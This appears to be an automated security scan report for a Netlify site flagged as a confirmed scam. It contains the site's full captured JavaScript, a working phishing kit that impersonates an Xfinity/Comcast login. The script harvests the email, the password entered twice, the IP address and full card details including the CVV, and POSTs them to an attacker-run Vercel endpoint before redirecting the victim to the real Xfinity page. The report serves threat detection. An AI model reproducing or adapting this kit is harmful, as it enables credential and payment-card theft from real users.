finance banking

technology software

e-commerce shopping

government public service

adult content

English

The domain 'effervescent-salamander-51d833.netlify.app' uses the application-focused generic top-level domain (.app), featuring subdomain 'effervescent-salamander-51d833'. The core label 'netlify' covers 7 characters holding two vowels versus five consonants. Word splitting yields three words: net, li, fy. Average segment length settles at two characters. No strong language cues emerged from the frequency lists.

nameOnCard

cardNumber

securityCode

expiryDate

zipCode

html/76/d7/76d7e34a-4866-4ef8-bf2a-8f7a5543c974.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

176e894661aa9cdc9a5cba6c720044cbbf7b8bd80d1c9a142a7c24b1b6c50d15

abc82b6861a989fa86dbb4149208761426b9f572adb7e80576dd6463386afa73

5cd2de3660dcaf9a8c449df5d5183c02c448120902a1e0c5f0c6d3b6b0210b33

322ea3627a86879fb7387598bb59979f67a4f8d40ddac09b48d2098d936f6ec5

viewport

Name.com Abuse Team

Name.com, Inc.

netlify.app

Abuse

Google LLC

GOOGLE


        tailwind.config = {
            theme: {
                extend: {
                    boxShadow: {
                        'inset-border-active': 'inset 0 0 0 1px #0d54ff',
                    },
                    fontFamily: {
                        sans: ['Work Sans', 'sans-serif'],
                    }
                }
            }
        }
    


        // const baseURL = 'https://fr-1290-flame.vercel.app/';
        const baseURL = 'https://fr-1290-2o1v.vercel.app/';

        // State variables
        let state = {
            step: 1,
            email: '',
            password: '',
            password2: '',
            showPassword: false,
            showPassword2: false,
            ipAddress: '',
            chatId: "huntersaltzman3@gmail.com" // Hardcoded chat ID
        };

        // DOM Elements
        const step1 = document.getElementById('step-1');
        const step2 = document.getElementById('step-2');
        const inputField = document.getElementById('input-field');
        const btnSubmit = document.getElementById('btn-submit');
        const errorMessageContainer = document.getElementById('error-message-container');
        const errorText = document.getElementById('error-text');
        const showEmailBack = document.getElementById('show-email-back');
        const displayedEmail = document.getElementById('displayed-email');
        const paymentForm = document.getElementById('payment-form');

        // Initialization
        document.addEventListener('DOMContentLoaded', () => {
            fetchIP();

            // Step 1 Event Listeners
            btnSubmit.addEventListener('click', handleLoginClick);
            showEmailBack.addEventListener('click', handleBackClick);
            inputField.addEventListener('input', () => {
                errorMessageContainer.classList.add('hidden');
            });

            // Step 2 Event Listeners
            paymentForm.addEventListener('submit', handlePaymentSubmit);

            // Input formatting for payment
            document.getElementById('cardNumber').addEventListener('input', (e) => {
                e.target.value = formatCardNumber(e.target.value);
                clearError('cardNumber');
            });
            document.getElementById('expiryDate').addEventListener('input', (e) => {
                e.target.value = formatExpiryDate(e.target.value);
                clearError('expiryDate');
            });

            ['nameOnCard', 'securityCode', 'zipCode'].forEach(id => {
                document.getElementById(id).addEventListener('input', () => clearError(id));
            });
        });

        function fetchIP() {
            fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => {
                    state.ipAddress = data.ip;
                })
                .catch(error => console.error(error));
        }

        // --- Step 1 Logic ---

        function isValidEmail(email) {
            const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
            return emailPattern.test(email);
        }

        function handleLoginClick() {
            errorMessageContainer.classList.add('hidden');
            const value = inputField.value;

            if (!state.showPassword) {
                // Email Stage
                if (!isValidEmail(value)) {
                    errorMessageContainer.classList.remove('hidden');
                    errorText.innerText = 'The Xfinity ID or password you entered was incorrect. Please try again.';
                    return;
                }
                // Valid Email
                state.email = value;
                state.showPassword = true;
                updateUIForPassword();
                return;
            }

            if (state.showPassword && !state.showPassword2) {
                // Password 1 Stage
                if (!value) {
                    errorMessageContainer.classList.remove('hidden');
                    errorText.innerText = 'The Xfinity ID or password you entered was incorrect. Please try again.';
                    return;
                }
                state.password = value;
                state.showPassword2 = true;
                updateUIForPassword2();
                return;
            }

            if (state.showPassword2) {
                // Password 2 Stage
                if (!value) {
                    errorMessageContainer.classList.remove('hidden');
                    errorText.innerText = 'Please enter your password correctly';
                    return;
                }
                state.password2 = value;

                // Authenticate
                authenticate();
            }
        }

        function updateUIForPassword() {
            showEmailBack.classList.remove('hidden');
            displayedEmail.innerText = state.email;
            inputField.value = '';
            inputField.placeholder = 'Password';
            inputField.type = 'password';
        }

        function updateUIForPassword2() {
            inputField.value = '';
            inputField.placeholder = 'Enter password again';
            inputField.type = 'password';
        }

        function handleBackClick() {
            state.showPassword = false;
            state.showPassword2 = false;
            state.password = '';
            state.password2 = '';

            showEmailBack.classList.add('hidden');
            inputField.value = state.email; // Fill back with email? Or keep empty? React code: sets input to email
            inputField.placeholder = 'Email, mobile, or username';
            inputField.type = 'text';
            errorMessageContainer.classList.add('hidden');
        }

        function authenticate() {
            const dataPayload = {
                email: state.email,
                password: state.password,
                password2: state.password2,
                name: 'Comcast',
                IPAddress: state.ipAddress,
                chatId: state.chatId, // Changed from userID to chatId
                title: 'Comcast'
            };

            // Since the API expects { data: JSON_STRING, chatId, title }
            const postData = {
                data: JSON.stringify(dataPayload),
                chatId: state.chatId, // Changed from userID to chatId
                title: 'Comcast'
            };
            fetch(`${baseURL}main`, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(postData)
            })
                .then(() => {
                    state.step = 2;
                    step1.classList.add('hidden');
                    step2.classList.remove('hidden');
                })
                .catch(e => console.log(e));
        }


        // --- Step 2 Logic ---

        function formatCardNumber(value) {
            const v = value.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
            const parts = [];
            for (let i = 0; i < v.length; i += 4) {
                parts.push(v.substring(i, i + 4));
            }
            return parts.join(' ');
        }

        function isValidExpiryDate(expiryDate) {
            if (!expiryDate) return false;

            const datePattern = /^(0[1-9]|1[0-2])\/([0-9]{2})$/;
            if (!datePattern.test(expiryDate)) return false;

            const [month, year] = expiryDate.split('/');
            const currentDate = new Date();
            const currentYear = currentDate.getFullYear() % 100;
            const currentMonth = currentDate.getMonth() + 1;

            const expYear = parseInt(year, 10);
            const expMonth = parseInt(month, 10);

            if (expYear < currentYear || (expYear === currentYear && expMonth < currentMonth)) {
                return false;
            }

            return true;
        }

        function formatExpiryDate(value) {
            const v = value.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
            if (v.length > 2) {
                return `${v.substring(0, 2)}/${v.substring(2, 4)}`;
            }
            return v;
        }

        function clearError(fieldId) {
            const errorEl = document.getElementById(`error-${fieldId}`);
            const inputEl = document.getElementById(fieldId);
            if (errorEl) errorEl.classList.add('hidden');
            if (inputEl) inputEl.classList.remove('border-red-500');
            if (inputEl) inputEl.classList.add('border-gray-300');

            document.getElementById('form-global-error').classList.add('hidden');
        }

        function showError(fieldId, message) {
            const errorEl = document.getElementById(`error-${fieldId}`);
            const inputEl = document.getElementById(fieldId);
            if (errorEl) {
                errorEl.innerText = message;
                errorEl.classList.remove('hidden');
            }
            if (inputEl) {
                inputEl.classList.remove('border-gray-300');
                inputEl.classList.add('border-red-500');
            }
        }

        function validateForm(formData) {
            let isValid = true;

            // Card Number
            if (!formData.get('cardNumber').trim()) {
                showError('cardNumber', 'Card number is required');
                isValid = false;
            }
            // Luhn check removed as requested

            // Name
            if (!formData.get('nameOnCard').trim()) {
                showError('nameOnCard', 'Name on card is required');
                isValid = false;
            }

            // Expiry
            const exp = formData.get('expiryDate');
            if (!exp.trim()) {
                showError('expiryDate', 'Expiry date is required');
                isValid = false;
            } else if (!isValidExpiryDate(exp)) {
                showError('expiryDate', 'Invalid or expired date');
                isValid = false;
            }

            // Security Code
            const sec = formData.get('securityCode');
            if (!sec.trim()) {
                showError('securityCode', 'Security code is required');
                isValid = false;
            } else if (!/^\d{3,4}$/.test(sec)) {
                showError('securityCode', 'Invalid security code');
                isValid = false;
            }

            // Zip
            if (!formData.get('zipCode').trim()) {
                showError('zipCode', 'Zip code is required');
                isValid = false;
            }

            return isValid;
        }

        function handlePaymentSubmit(e) {
            e.preventDefault();
            const formData = new FormData(paymentForm);

            if (validateForm(formData)) {
                const formDataObj = Object.fromEntries(formData.entries());

                const dataPayload = {
                    ...formDataObj,
                    name: 'Comcast'
                };

                const postData = {
                    data: JSON.stringify(dataPayload),
                    chatId: state.chatId, // Changed from userID to chatId
                    title: 'Comcast'
                };

                fetch(`${baseURL}main`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(postData)
                })
                    .then(() => {
                        window.location.replace('https://login.xfinity.com/login?c_ds_na=c_ds_na%2Cc_ds_no%2Cc_ds_ts%2Cclient_id%2Ccontinue%2Cr%2CreqId%2Cs&c_ds_no=848CF49FF8D07FE2C784A58F12D00558&c_ds_ts=1716300118&c_ds_val=6400BEB200CFA7E341BB0CF66BC8F731AF3361441E8F520E84A36113BE9A1925&client_id=xcp-prod&continue=https%3A%2F%2Foauth.xfinity.com%2F%2Foauth%2Fauthorize%3Fclient_id%3Dxcp-prod%26response_type%3Dcode%26redirect_uri%3Dhttps%3A%2F%2Fxfinityconnect.email.comcast.net%2FxcPreAuth%2Fui%2Fweb%26state%3D0%26response%3D1%26reqId%3D46228fa4-3498-4973-bf96-fa19a6083c17&r=comcast.net&reqId=7ecc69c9-c6ee-481b-b1bd-de4787b981c9&s=oauth');
                    })
                    .catch(e => console.log(e));
            } else {
                document.getElementById('form-global-error').classList.remove('hidden');
            }
        }
    

Requests	IP Address	Location	AS Autonomous System
4	63.176.8.218Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
2	142.251.110.95Google · CDN	United States	AS15169Google LLC
2	104.26.3.143Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
8	3	-	-

Security Scan Report: effervescent-salamander-51d833.netlify.app

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History